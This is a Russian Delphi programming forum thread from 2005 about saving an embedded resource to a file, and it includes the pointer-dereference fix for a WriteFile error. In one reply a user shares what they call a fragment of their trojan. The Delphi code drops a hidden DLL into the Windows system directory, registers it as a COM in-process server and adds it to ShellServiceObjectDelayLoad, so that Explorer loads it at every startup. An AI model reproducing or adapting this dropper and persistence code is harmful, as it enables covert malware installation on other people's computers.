![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Как сохранить ресурс в файл? [D6, WinXP]
lpVoid © (2005-04-21 13:56:00)Написал вот такой код. Ресурс находится, в память загружается, а вот WriteFile ругается что буфер неправильный. Ошибка такая: ERROR_INVALID_USER_BUFFER = 1784
hFile:=CreateFile(PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
hRes:=FindResource(0, 'DATA', RT_RCDATA);
szRes:=SizeOfResource(0, hRes);
hResMem:=LoadResource(0, hRes);
pBuffer:=LockResource(hResMem);
WriteFile(hFile, pBuffer, szRes, WriteCount, 0);
CloseHandle(hSrcFile);
lpVoid (2005-04-22 23:17:00) [1]Так конечно проще, но для троянчика это жирновато будет, меньше 150кб никак. :)
lock95 (2005-04-22 20:51:00) [2]Маленький пример как ресурс сохранит и выгрузить (уолюсь фрагмент моего троянчика) ;)
program Project1;
uses
Windows, SysUtils, Classes, Registry;
{$R sheldll.RES}//наш ресурс
var
MyDll1: TResourceStream;
reg:TRegistry;
szPath: array [0..MAX_PATH -1] of Char;
Sysdir:string;
begin
GetSystemDirectory(szPath, MAX_PATH); //узнаемпуть к системной дирректории
Sysdir:=StrPas(szPath)+'\sheldll.dll'; // преобразуем в стр + \sheldll.dll
MyDll1:=TResourceStream.Create(hInstance, 'MYDLL', RT_RCDATA);
try
MyDll1.SaveToFile(Sysdir);
// Finally
except //пуска не глючит
MyDll1.Free;
end; {try}
reg:=Tregistry.create;
reg.rootkey:=HKEY_CLASSES_ROOT;
try
reg.openkey ('CLSID\{69502F20-E8CD-11D5-A784-0050BF44BD3B}\InProcServer32', true);
reg.writestring('',Sysdir);
reg.closekey;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad', true);
reg.writestring('MyDllLoade','{69502F20-E8CD-11D5-A784-0050BF44BD3B}');
reg.closekey;
finally
reg.free;
end; {try}
end.
lpVoid (2005-04-21 16:22:00) [3]Спасибо, mgcr. Стормозил я чего-то.
Dot (2005-04-21 15:16:00) [4]а не подскажете типы данных?
то есть можно тот кусок кода где VAR увидеть?
mgcr (2005-04-21 14:56:00) [5]WriteFile(hFile, pBuffer ^, szRes, WriteCount, 0);